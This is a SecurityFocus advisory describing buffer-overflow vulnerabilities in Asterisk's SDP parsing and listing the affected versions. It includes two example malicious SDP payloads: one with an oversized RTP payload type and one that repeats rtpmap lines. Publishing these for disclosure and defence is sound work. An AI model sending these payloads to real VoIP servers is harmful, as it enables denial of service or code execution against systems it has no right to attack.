source: http://www.securityfocus.com/bid/28308/info

Asterisk is prone to multiple buffer-overflow vulnerabilities because it fails to perform adequate boundary checks on user-supplied data before copying it to insufficiently sized buffers.

Exploiting these issues may allow an attacker to corrupt memory and cause denial-of-service conditions or potentially execute arbitrary code in the context of the application.

These issues affect the following versions:

Asterisk Open Source prior to 1.4.18.1 and 1.4.19-rc3.
Asterisk Open Source prior to 1.6.0-beta6
Asterisk Business Edition prior to C.1.6.1
AsteriskNOW prior to 1.0.2
Asterisk Appliance Developer Kit prior to Asterisk 1.4 revision 109386
s800i (Asterisk Appliance) prior to 1.1.0.2 

Example invalid SDP payload (invalid RTP payload type is 780903144):

v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:780903144 PCMU/8000
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000

Example SDP payload:
v=0
o=- 817933771 817933775 IN IP4 10.10.1.101
s=session-name
c=IN IP4 10.10.1.101
t=0 0
m=audio 5000 RTP/AVP 0
a=rtpmap:0 PCMU/8000
[... repeat this line ...]
a=rtpmap:4 G723/8000/1
a=rtpmap:97 telephone-event/8000